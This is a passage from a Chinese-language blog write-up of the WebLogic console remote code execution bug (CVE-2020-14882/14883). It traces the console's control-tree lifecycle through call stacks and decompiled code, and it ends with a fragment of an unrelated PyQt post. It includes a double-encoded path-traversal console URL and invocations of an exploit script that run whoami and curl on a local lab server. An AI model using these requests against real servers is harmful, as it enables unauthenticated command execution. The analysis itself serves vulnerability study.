<span class="w"> </span><span class="n">outboundResourceLifecycle</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">VisitorType</span><span class="o">[]</span><span class="p">{</span><span class="n">VisitorType</span><span class="p">.</span><span class="na">preRenderVisitorType</span><span class="p">,</span><span class="w"> </span><span class="n">VisitorType</span><span class="p">.</span><span class="na">resourceVisitorType</span><span class="p">,</span><span class="w"> </span><span class="n">VisitorType</span><span class="p">.</span><span class="na">saveStateVisitorType</span><span class="p">};</span>
<span class="w"> </span><span class="n">outboundNewTreeResourceLifecycle</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">VisitorType</span><span class="o">[]</span><span class="p">{</span><span class="n">VisitorType</span><span class="p">.</span><span class="na">initVisitorType</span><span class="p">,</span><span class="w"> </span><span class="n">VisitorType</span><span class="p">.</span><span class="na">loadVisitorType</span><span class="p">,</span><span class="w"> </span><span class="n">VisitorType</span><span class="p">.</span><span class="na">preRenderVisitorType</span><span class="p">,</span><span class="w"> </span><span class="n">VisitorType</span><span class="p">.</span><span class="na">resourceVisitorType</span><span class="p">,</span><span class="w"> </span><span class="n">VisitorType</span><span class="p">.</span><span class="na">saveStateVisitorType</span><span class="p">};</span>
<span class="w"> </span><span class="n">cleanupLifecycle</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">VisitorType</span><span class="o">[]</span><span class="p">{</span><span class="n">VisitorType</span><span class="p">.</span><span class="na">disposeVisitorType</span><span class="p">};</span>
<span class="w"> </span><span class="n">resourceLifecycle</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">Lifecycle</span><span class="p">(</span><span class="n">inboundLifecycle</span><span class="p">,</span><span class="w"> </span><span class="n">outboundResourceLifecycle</span><span class="p">,</span><span class="w"> </span><span class="n">outboundNewTreeResourceLifecycle</span><span class="p">,</span><span class="w"> </span><span class="n">cleanupLifecycle</span><span class="p">);</span>
<span class="w"> </span><span class="n">baseLifecycle</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">Lifecycle</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div>
<p>各数组成员的详细定义:</p>
<p><code>libs\netuix_servlet.jar!\com\bea\netuix\nf\Lifecycle.class</code></p>
<div class="highlight"><pre><span></span><code><span class="kd">static</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">initVisitorType</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">VisitorType</span><span class="p">(</span><span class="s">"UIControl.init"</span><span class="p">,</span><span class="w"> </span><span class="n">ControlLifecycle</span><span class="p">.</span><span class="na">initVisitor</span><span class="p">,</span><span class="w"> </span><span class="n">LifecycleStage</span><span class="p">.</span><span class="na">INIT</span><span class="p">);</span>
<span class="w"> </span><span class="n">loadStateVisitorType</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">VisitorType</span><span class="p">(</span><span class="s">"UIControl.loadState"</span><span class="p">,</span><span class="w"> </span><span class="n">ControlLifecycle</span><span class="p">.</span><span class="na">loadStateVisitor</span><span class="p">,</span><span class="w"> </span><span class="n">LifecycleStage</span><span class="p">.</span><span class="na">LOAD_STATE</span><span class="p">);</span>
<span class="w"> </span><span class="n">loadVisitorType</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">VisitorType</span><span class="p">(</span><span class="s">"UIControl.load"</span><span class="p">,</span><span class="w"> </span><span class="n">ControlLifecycle</span><span class="p">.</span><span class="na">loadVisitor</span><span class="p">,</span><span class="w"> </span><span class="n">LifecycleStage</span><span class="p">.</span><span class="na">LOAD</span><span class="p">);</span>
<span class="w"> </span><span class="n">raiseEventsVisitorType</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">VisitorType</span><span class="p">(</span><span class="s">"UIControl.raiseChangeEvents"</span><span class="p">,</span><span class="w"> </span><span class="n">ControlLifecycle</span><span class="p">.</span><span class="na">raiseEventsVisitor</span><span class="p">,</span><span class="w"> </span><span class="n">LifecycleStage</span><span class="p">.</span><span class="na">RAISE_EVENTS</span><span class="p">);</span>
<span class="w"> </span><span class="n">preRenderVisitorType</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">VisitorType</span><span class="p">(</span><span class="s">"UIControl.preRender"</span><span class="p">,</span><span class="w"> </span><span class="n">ControlLifecycle</span><span class="p">.</span><span class="na">preRenderVisitor</span><span class="p">,</span><span class="w"> </span><span class="n">LifecycleStage</span><span class="p">.</span><span class="na">PRE_RENDER</span><span class="p">);</span>
<span class="w"> </span><span class="n">saveStateVisitorType</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">VisitorType</span><span class="p">(</span><span class="s">"UIControl.saveState"</span><span class="p">,</span><span class="w"> </span><span class="n">ControlLifecycle</span><span class="p">.</span><span class="na">saveStateVisitor</span><span class="p">,</span><span class="w"> </span><span class="n">LifecycleStage</span><span class="p">.</span><span class="na">SAVE_STATE</span><span class="p">);</span>
<span class="w"> </span><span class="n">renderVisitorType</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">VisitorType</span><span class="p">(</span><span class="s">"UIControl.render"</span><span class="p">,</span><span class="w"> </span><span class="n">ControlLifecycle</span><span class="p">.</span><span class="na">renderVisitor</span><span class="p">,</span><span class="w"> </span><span class="n">LifecycleStage</span><span class="p">.</span><span class="na">RENDER</span><span class="p">);</span>
<span class="w"> </span><span class="n">resourceVisitorType</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">VisitorType</span><span class="p">(</span><span class="s">"UIControl.resource"</span><span class="p">,</span><span class="w"> </span><span class="n">ControlLifecycle</span><span class="p">.</span><span class="na">resourceVisitor</span><span class="p">,</span><span class="w"> </span><span class="n">LifecycleStage</span><span class="p">.</span><span class="na">RESOURCE</span><span class="p">);</span>
<span class="w"> </span><span class="n">disposeVisitorType</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">VisitorType</span><span class="p">(</span><span class="s">"UIControl.dispose"</span><span class="p">,</span><span class="w"> </span><span class="n">ControlLifecycle</span><span class="p">.</span><span class="na">disposeVisitor</span><span class="p">,</span><span class="w"> </span><span class="n">LifecycleStage</span><span class="p">.</span><span class="na">DISPOSE</span><span class="p">,</span><span class="w"> </span><span class="kc">true</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div>
<p>最终由于<code>VistorType</code>数组的不同导致生命周期的执行流程有所不同</p>
<p><img alt="1606968561812" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/MBHbWgPCPB.jpg"></p>
<p>这两个分支具体对漏洞的触发有无影响我们先放在这里,我们继续往下分析,如果有影响我们再回来看,我们暂时使用<code>http://127.0.0.1:7001/console/css/%252e%252e%252fconsolejndi.portal</code>触发断点,我们继续跟踪,调用栈如下:</p>
<div class="highlight"><pre><span></span><code><span class="n">wlserver</span><span class="err">\</span><span class="n">server</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">consoleapp</span><span class="err">\</span><span class="n">webapp</span><span class="err">\</span><span class="n">WEB</span><span class="o">-</span><span class="n">INF</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">netuix_servlet</span><span class="p">.</span><span class="na">jar</span><span class="o">!</span><span class="err">\</span><span class="n">com</span><span class="err">\</span><span class="n">bea</span><span class="err">\</span><span class="n">netuix</span><span class="err">\</span><span class="n">servlets</span><span class="err">\</span><span class="n">manager</span><span class="err">\</span><span class="n">UIServlet</span><span class="p">.</span><span class="na">class</span><span class="err">#</span><span class="n">doPost</span>
<span class="n">wlserver</span><span class="err">\</span><span class="n">server</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">consoleapp</span><span class="err">\</span><span class="n">webapp</span><span class="err">\</span><span class="n">WEB</span><span class="o">-</span><span class="n">INF</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">netuix_servlet</span><span class="p">.</span><span class="na">jar</span><span class="o">!</span><span class="err">\</span><span class="n">com</span><span class="err">\</span><span class="n">bea</span><span class="err">\</span><span class="n">netuix</span><span class="err">\</span><span class="n">servlets</span><span class="err">\</span><span class="n">manager</span><span class="err">\</span><span class="n">UIServlet</span><span class="p">.</span><span class="na">class</span><span class="err">#</span><span class="n">runLifecycle</span>
<span class="n">wlserver</span><span class="err">\</span><span class="n">server</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">consoleapp</span><span class="err">\</span><span class="n">webapp</span><span class="err">\</span><span class="n">WEB</span><span class="o">-</span><span class="n">INF</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">netuix_servlet</span><span class="p">.</span><span class="na">jar</span><span class="o">!</span><span class="err">\</span><span class="n">com</span><span class="err">\</span><span class="n">bea</span><span class="err">\</span><span class="n">netuix</span><span class="err">\</span><span class="n">nf</span><span class="err">\</span><span class="n">Lifecycle</span><span class="p">.</span><span class="na">class</span><span class="err">#</span><span class="n">run</span>
<span class="n">wlserver</span><span class="err">\</span><span class="n">server</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">consoleapp</span><span class="err">\</span><span class="n">webapp</span><span class="err">\</span><span class="n">WEB</span><span class="o">-</span><span class="n">INF</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">netuix_servlet</span><span class="p">.</span><span class="na">jar</span><span class="o">!</span><span class="err">\</span><span class="n">com</span><span class="err">\</span><span class="n">bea</span><span class="err">\</span><span class="n">netuix</span><span class="err">\</span><span class="n">nf</span><span class="err">\</span><span class="n">Lifecycle</span><span class="p">.</span><span class="na">class</span><span class="err">#</span><span class="n">runOutbound</span>
<span class="n">wlserver</span><span class="err">\</span><span class="n">server</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">consoleapp</span><span class="err">\</span><span class="n">webapp</span><span class="err">\</span><span class="n">WEB</span><span class="o">-</span><span class="n">INF</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">netuix_servlet</span><span class="p">.</span><span class="na">jar</span><span class="o">!</span><span class="err">\</span><span class="n">com</span><span class="err">\</span><span class="n">bea</span><span class="err">\</span><span class="n">netuix</span><span class="err">\</span><span class="n">nf</span><span class="err">\</span><span class="n">Lifecycle</span><span class="p">.</span><span class="na">class</span><span class="err">#</span><span class="n">processLifecycles</span>
<span class="n">wlserver</span><span class="err">\</span><span class="n">server</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">consoleapp</span><span class="err">\</span><span class="n">webapp</span><span class="err">\</span><span class="n">WEB</span><span class="o">-</span><span class="n">INF</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">netuix_servlet</span><span class="p">.</span><span class="na">jar</span><span class="o">!</span><span class="err">\</span><span class="n">com</span><span class="err">\</span><span class="n">bea</span><span class="err">\</span><span class="n">netuix</span><span class="err">\</span><span class="n">nf</span><span class="err">\</span><span class="n">Lifecycle</span><span class="p">.</span><span class="na">class</span><span class="err">#</span><span class="n">processLifecycles</span><span class="err">(</span><span class="n">重载</span><span class="err">)</span>
<span class="n">wlserver</span><span class="err">\</span><span class="n">server</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">consoleapp</span><span class="err">\</span><span class="n">webapp</span><span class="err">\</span><span class="n">WEB</span><span class="o">-</span><span class="n">INF</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">netuix_servlet</span><span class="p">.</span><span class="na">jar</span><span class="o">!</span><span class="err">\</span><span class="n">com</span><span class="err">\</span><span class="n">bea</span><span class="err">\</span><span class="n">netuix</span><span class="err">\</span><span class="n">nf</span><span class="err">\</span><span class="n">ControlTreeWalker</span><span class="p">.</span><span class="na">class</span><span class="err">#</span><span class="n">walk</span>
</code></pre></div>
<p>这个就是深度优先遍历控件树的代码,<code>walkRecursivePreRender</code>会以递归的方式遍历控件树中的每一个控件</p>
<p><img alt="1607847095799" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/KRqRkRSHGe.jpg"></p>
<p>我们跟入该方法,这里会判断是否为根节点,然后分别调用不同的方法,不过最后还是会调用<code>visit</code>方法</p>
<p><img alt="1607847289295" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/fgcQtVFkaX.jpg"></p>
<p><img alt="1607847535690" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/YXfhtHaLEi.jpg"></p>
<p>我们跟入<code>visit</code>方法,最后我们需要跟入<code>control.preRender()</code></p>
<p><img alt="1607847651923" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/FfuoLeXnQz.jpg"></p>
<p>回过头来看<code>walkRecursivePreRender</code>方法的代码,下面这个就是递归的主要代码,自己调用自己,我们可以跟一下这个方法,看一下每次调用时的控件类型</p>
<p><img alt="1607847886051" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/yBrtCkiFWR.jpg"></p>
<p>完整地跟下来并记录<code>child</code>的值(第一次的值在<code>root</code>变量中),我们得到如下结果:</p>
<div class="highlight"><pre><span></span><code>control<span class="w"> </span>:<span class="w"> </span><span class="o">(</span>com.bea.netuix.nf.ControlTreeRoot<span class="o">)</span>
control<span class="w"> </span>:<span class="w"> </span><span class="o">(</span>com.bea.netuix.servlets.controls.application.Desktop<span class="o">)</span>
control<span class="w"> </span>:<span class="w"> </span><span class="o">(</span>com.bea.netuix.servlets.controls.application.LookAndFeel<span class="o">)</span>
control<span class="w"> </span>:<span class="w"> </span><span class="o">(</span>com.bea.netuix.servlets.controls.application.PrimaryTheme<span class="o">)</span>
control<span class="w"> </span>:<span class="w"> </span><span class="o">(</span>com.bea.netuix.servlets.controls.application.Shell<span class="o">)</span>
control<span class="w"> </span>:<span class="w"> </span><span class="o">(</span>com.bea.netuix.servlets.controls.application.Head<span class="o">)</span>
control<span class="w"> </span>:<span class="w"> </span><span class="o">(</span>com.bea.netuix.servlets.controls.application.Body<span class="o">)</span>
control<span class="w"> </span>:<span class="w"> </span><span class="o">(</span>com.bea.netuix.servlets.controls.application.Header<span class="o">)</span>
Main<span class="w"> </span>Page<span class="w"> </span>Book
control<span class="w"> </span>:<span class="w"> </span><span class="o">(</span>com.bea.netuix.servlets.controls.window.Content<span class="o">)</span>
not.used
control<span class="w"> </span>:<span class="w"> </span><span class="o">(</span>com.bea.netuix.servlets.controls.window.Content<span class="o">)</span>
control<span class="w"> </span>:<span class="w"> </span><span class="o">(</span>com.bea.netuix.servlets.controls.layout.Layout<span class="o">)</span>
control<span class="w"> </span>:<span class="w"> </span><span class="o">(</span>com.bea.netuix.servlets.controls.layout.Placeholder<span class="o">)</span>
Portlet<span class="w"> </span>Control:<span class="w"> </span>title<span class="w"> </span><span class="o">[</span>null<span class="o">]</span><span class="w"> </span>definition<span class="w"> </span>label:<span class="w"> </span><span class="o">[</span>WorkspaceMessagesPortlet<span class="o">]</span><span class="w"> </span>instance<span class="w"> </span>label<span class="w"> </span>:<span class="w"> </span><span class="o">[</span>jndi_portlet_messages<span class="o">]</span><span class="w"> </span>definitionId:<span class="w"> </span><span class="o">[</span>null<span class="o">]</span><span class="w"> </span>instanceId:<span class="w"> </span><span class="o">[</span>null<span class="o">]</span><span class="w"> </span>uniqueId:<span class="w"> </span><span class="o">[</span>t_jndi_portlet_messages<span class="o">]</span><span class="w"> </span>
<span class="w"> </span>class:<span class="w"> </span><span class="o">[</span>com.bea.netuix.servlets.controls.portlet.Portlet<span class="o">]</span>
control<span class="w"> </span>:<span class="w"> </span><span class="o">(</span>com.bea.netuix.servlets.controls.window.Content<span class="o">)</span>
control<span class="w"> </span>:<span class="w"> </span><span class="o">(</span>com.bea.netuix.servlets.controls.content.StrutsContent<span class="o">)</span>
</code></pre></div>
<p>和下面这张图对比一下,可以发现完全一致,因此最先进行渲染的控件就是<code>com.bea.netuix.servlets.controls.content.StrutsContent</code></p>
<p><img alt="img" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/aWHvOcJrcb.jpg"></p>
<p>另外,从<code>consolejndi.portal</code>文件中我们也能看出一致性</p>
<p><img alt="1607848718858" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/qTQKLwRHTF.jpg"></p>
<p>我们按照上面的顺序先找到<code>ContentHeader_messages.portlet</code></p>
<p><img alt="1607848961927" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/YVExdobAJv.jpg"></p>
<p>然后打开该<code>portlet</code>文件</p>
<p><img alt="1607849031876" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/sKFpmSMnEK.jpg"></p>
<p>可以看到和我们一路跟下来的结果是一样的,由于上面的<code>control.preRender</code>方法无法直接跟入,我们可以先找到<code>com.bea.netuix.servlets.controls.content.StrutsContent</code>类,直接在它的<code>preRender</code>方法体中下断点,类的位置是<code>wlserver\server\lib\consoleapp\webapp\WEB-INF\lib\netuix_servlet.jar!\com\bea\netuix\servlets\controls\content\StrutsContent.class</code>,但是并没有<code>preRender</code>方法,那我们就看它的父类<code>NetuiContent</code>,在它的<code>preRender</code>方法中下断点</p>
<p><img alt="1607851418886" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/wyZBSIhzvA.jpg"></p>
<p>跟入<code>getScopedContentStub</code>方法,该方法最终返回一个<code>StrutsStubImpl</code>对象,然后执行其<code>render</code>方法</p>
<p><img alt="1607851486411" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/mEXuAeTqri.jpg"></p>
<p><img alt="1607851509630" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/IwngjnUmdN.jpg"></p>
<p>我们在<code>StrutsStubImpl</code>的<code>render</code>方法处下断点,跟入<code>renderInternal</code>方法</p>
<p><img alt="1607851614965" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/csHksFhvcw.jpg"></p>
<p>在<code>renderInternal</code>执行了一系列的初始化操作之后,最终执行<code>executeAction</code>方法,</p>
<p><img alt="1607851863118" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/lCDtWImBOK.jpg"></p>
<p>跟入该方法的<code>strutsLookup</code>方法,继续跟入<code>strutsLookupInternal</code>方法,跟入<code>org.apache.beehive.netui.pageflow.PageFlowUtils.strutsLookup</code>方法,再跟入<code>wlserver\server\lib\consoleapp\webapp\WEB-INF\lib\beehive-netui-core.jar!\org\apache\beehive\netui\pageflow\PageFlowUtils.class#strutsLookup</code>,最后跟进<code>as.doGet</code>,这里的<code>as</code>是在下面这处完成实例化的,跟进<code>getActionServlet</code>我们可以看到实例化过程</p>
<p><img alt="1607852108367" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/JqpkkGWMzb.jpg"></p>
<p><img alt="1607852167685" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/KPGWkDVoJh.jpg"></p>
<p>我们可以在<code>web.xml</code>中看到对应关系,<code>weblogic.servlet.AsyncInitServlet</code>我们<a href="http://144.34.164.217/weblogic-cve-2020-1488214883lou-dong-fen-xi.html#qqqHouTaiJieMianDaiMaZhiXingLiuCheng">上面已经分析过了</a></p>
<p><img alt="1607852480417" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/gqNDLhIVWa.jpg"></p>
<p><code>as</code>其实就是<code>ConsoleActionServlet</code>对象,我们跟入其<code>doGet</code>方法</p>
<p><img alt="1607852034305" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/RBBNHLJuDW.jpg"></p>
<p>再跟入<code>super.doGet()</code>,后面的调用栈如下:</p>
<div class="highlight"><pre><span></span><code><span class="n">wlserver</span><span class="err">\</span><span class="n">server</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">consoleapp</span><span class="err">\</span><span class="n">webapp</span><span class="err">\</span><span class="n">WEB</span><span class="o">-</span><span class="n">INF</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">struts</span><span class="p">.</span><span class="na">jar</span><span class="o">!</span><span class="err">\</span><span class="n">org</span><span class="err">\</span><span class="n">apache</span><span class="err">\</span><span class="n">struts</span><span class="err">\</span><span class="n">action</span><span class="err">\</span><span class="n">ActionServlet</span><span class="p">.</span><span class="na">class</span><span class="err">#</span><span class="n">doGet</span>
<span class="n">wlserver</span><span class="err">\</span><span class="n">server</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">consoleapp</span><span class="err">\</span><span class="n">webapp</span><span class="err">\</span><span class="n">WEB</span><span class="o">-</span><span class="n">INF</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">console</span><span class="p">.</span><span class="na">jar</span><span class="o">!</span><span class="err">\</span><span class="n">com</span><span class="err">\</span><span class="n">bea</span><span class="err">\</span><span class="n">console</span><span class="err">\</span><span class="n">internal</span><span class="err">\</span><span class="n">ConsoleActionServlet</span><span class="p">.</span><span class="na">class</span><span class="err">#</span><span class="n">process</span>
<span class="n">wlserver</span><span class="err">\</span><span class="n">server</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">consoleapp</span><span class="err">\</span><span class="n">webapp</span><span class="err">\</span><span class="n">WEB</span><span class="o">-</span><span class="n">INF</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">beehive</span><span class="o">-</span><span class="n">netui</span><span class="o">-</span><span class="n">core</span><span class="p">.</span><span class="na">jar</span><span class="o">!</span><span class="err">\</span><span class="n">org</span><span class="err">\</span><span class="n">apache</span><span class="err">\</span><span class="n">beehive</span><span class="err">\</span><span class="n">netui</span><span class="err">\</span><span class="n">pageflow</span><span class="err">\</span><span class="n">PageFlowActionServlet</span><span class="p">.</span><span class="na">class</span><span class="err">#</span><span class="n">process</span>
<span class="n">wlserver</span><span class="err">\</span><span class="n">server</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">consoleapp</span><span class="err">\</span><span class="n">webapp</span><span class="err">\</span><span class="n">WEB</span><span class="o">-</span><span class="n">INF</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">beehive</span><span class="o">-</span><span class="n">netui</span><span class="o">-</span><span class="n">core</span><span class="p">.</span><span class="na">jar</span><span class="o">!</span><span class="err">\</span><span class="n">org</span><span class="err">\</span><span class="n">apache</span><span class="err">\</span><span class="n">beehive</span><span class="err">\</span><span class="n">netui</span><span class="err">\</span><span class="n">pageflow</span><span class="err">\</span><span class="n">AutoRegisterActionServlet</span><span class="p">.</span><span class="na">class</span><span class="err">#</span><span class="n">process</span>
<span class="n">wlserver</span><span class="err">\</span><span class="n">server</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">consoleapp</span><span class="err">\</span><span class="n">webapp</span><span class="err">\</span><span class="n">WEB</span><span class="o">-</span><span class="n">INF</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">beehive</span><span class="o">-</span><span class="n">netui</span><span class="o">-</span><span class="n">core</span><span class="p">.</span><span class="na">jar</span><span class="o">!</span><span class="err">\</span><span class="n">org</span><span class="err">\</span><span class="n">apache</span><span class="err">\</span><span class="n">beehive</span><span class="err">\</span><span class="n">netui</span><span class="err">\</span><span class="n">pageflow</span><span class="err">\</span><span class="n">PageFlowRequestProcessor</span><span class="p">.</span><span class="na">class</span><span class="err">#</span><span class="n">process</span>
<span class="n">wlserver</span><span class="err">\</span><span class="n">server</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">consoleapp</span><span class="err">\</span><span class="n">webapp</span><span class="err">\</span><span class="n">WEB</span><span class="o">-</span><span class="n">INF</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">beehive</span><span class="o">-</span><span class="n">netui</span><span class="o">-</span><span class="n">core</span><span class="p">.</span><span class="na">jar</span><span class="o">!</span><span class="err">\</span><span class="n">org</span><span class="err">\</span><span class="n">apache</span><span class="err">\</span><span class="n">beehive</span><span class="err">\</span><span class="n">netui</span><span class="err">\</span><span class="n">pageflow</span><span class="err">\</span><span class="n">PageFlowRequestProcessor</span><span class="p">.</span><span class="na">class</span><span class="err">#</span><span class="n">processInternal</span>
<span class="n">wlserver</span><span class="err">\</span><span class="n">server</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">consoleapp</span><span class="err">\</span><span class="n">webapp</span><span class="err">\</span><span class="n">WEB</span><span class="o">-</span><span class="n">INF</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">struts</span><span class="p">.</span><span class="na">jar</span><span class="o">!</span><span class="err">\</span><span class="n">org</span><span class="err">\</span><span class="n">apache</span><span class="err">\</span><span class="n">struts</span><span class="err">\</span><span class="n">action</span><span class="err">\</span><span class="n">RequestProcessor</span><span class="p">.</span><span class="na">class</span><span class="err">#</span><span class="n">process</span>
<span class="n">wlserver</span><span class="err">\</span><span class="n">server</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">consoleapp</span><span class="err">\</span><span class="n">webapp</span><span class="err">\</span><span class="n">WEB</span><span class="o">-</span><span class="n">INF</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">console</span><span class="p">.</span><span class="na">jar</span><span class="o">!</span><span class="err">\</span><span class="n">com</span><span class="err">\</span><span class="n">bea</span><span class="err">\</span><span class="n">console</span><span class="err">\</span><span class="n">internal</span><span class="err">\</span><span class="n">ConsolePageFlowRequestProcessor</span><span class="p">.</span><span class="na">class</span><span class="err">#</span><span class="n">processActionPerform</span>
<span class="n">wlserver</span><span class="err">\</span><span class="n">server</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">consoleapp</span><span class="err">\</span><span class="n">webapp</span><span class="err">\</span><span class="n">WEB</span><span class="o">-</span><span class="n">INF</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">console</span><span class="p">.</span><span class="na">jar</span><span class="o">!</span><span class="err">\</span><span class="n">com</span><span class="err">\</span><span class="n">bea</span><span class="err">\</span><span class="n">console</span><span class="err">\</span><span class="n">utils</span><span class="err">\</span><span class="n">HandleUtils</span><span class="p">.</span><span class="na">class</span><span class="err">#</span><span class="n">getHandleContextFromRequest</span>
<span class="n">wlserver</span><span class="err">\</span><span class="n">server</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">consoleapp</span><span class="err">\</span><span class="n">webapp</span><span class="err">\</span><span class="n">WEB</span><span class="o">-</span><span class="n">INF</span><span class="err">\</span><span class="n">lib</span><span class="err">\</span><span class="n">console</span><span class="p">.</span><span class="na">jar</span><span class="o">!</span><span class="err">\</span><span class="n">com</span><span class="err">\</span><span class="n">bea</span><span class="err">\</span><span class="n">console</span><span class="err">\</span><span class="n">utils</span><span class="err">\</span><span class="n">HandleUtils</span><span class="p">.</span><span class="na">class</span><span class="err">#</span><span class="n">handleFromQueryString</span>
</code></pre></div>
<p>这里我们需要传入<code>handle</code>参数,不然无法进入到后续的处理过程</p>
<p><img alt="1607853700665" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/QfcABZuECd.jpg"></p>
<p>我们直接使用触发代码执行的payload来触发断点:<code>python.exe exp.py http://127.0.0.1:7001 whoami</code></p>
<p><img alt="1607854338886" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/cPwTFUJRxr.jpg"></p>
<p>我们继续跟入<code>getHandle</code>方法,在下面这段代码中完成类的实例化</p>
<p><img alt="1607854466009" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/kRCZiBWcLL.jpg"></p>
<p>其他组件的执行流程和content类似,不再赘述</p>
<h1>触发漏洞</h1>
<p>通过上面的分析,我们只需要构造正确的url并传入正确的handle参数值即可触发代码执行,参考<a href="http://144.34.164.217/cve-2020-1488214883weblogic-rce.html#">这篇文章</a>,有一点需要说的是,之前听说过该漏洞在执行命令时会重复执行一条命令若干次,这个其实很好解释,就是在遍历整个控件树的时候每次遍历一个节点都会触发一次漏洞代码,因此命令也就会被重复执行</p>
<p>我们用curl命令来进行测试,正常情况下结果文件中只有一行<code>just test!!!</code></p>
<p><img alt="1607863849780" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/yupToyEVfL.jpg"></p>
<p>然后我们使用漏洞脚本执行这条命令:<code>python exp.py http://127.0.0.1:7001 curl http://192.168.1.5/test.html ^>^> /tmp/res.txt</code></p>
<p><img alt="1607866307437" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/xZvQpQWBsP.jpg"></p>
<p>可以看到执行了8次!!!</p>PyQt多线程与信号机制2020-11-26T00:00:00+01:002020-11-26T00:00:00+01:0012138tag:None,2020-11-26:pyqtduo-xian-cheng-yu-xin-hao-ji-zhi.html<h1>前言</h1>
<p>最近写了一个基于PyQt的程序,在这里记录一下多线程与信号机制的用法</p>
<p><a href="https://gitee.com/wochinijiamile/smartya/raw/master/halite-master%20(1).zip">完整项目代码</a></p>
<h1>pycharm配置pyqt开发环境</h1>
<p>首先安装pyqt5和pyqt5-tools</p>
<div class="highlight"><pre><span></span><code><span class="n">python3</span><span class="w"> </span><span class="o">-</span><span class="n">m</span><span class="w"> </span><span class="n">pip</span><span class="w"> </span><span class="n">install</span><span class="w"> </span><span class="n">PyQt5</span>
<span class="n">python3</span><span class="w"> </span><span class="o">-</span><span class="n">m</span><span class="w"> </span><span class="n">pip</span><span class="w"> </span><span class="n">install …</span></code></pre></div><h1>前言</h1>
<p>最近写了一个基于PyQt的程序,在这里记录一下多线程与信号机制的用法</p>
<p><a href="https://gitee.com/wochinijiamile/smartya/raw/master/halite-master%20(1).zip">完整项目代码</a></p>
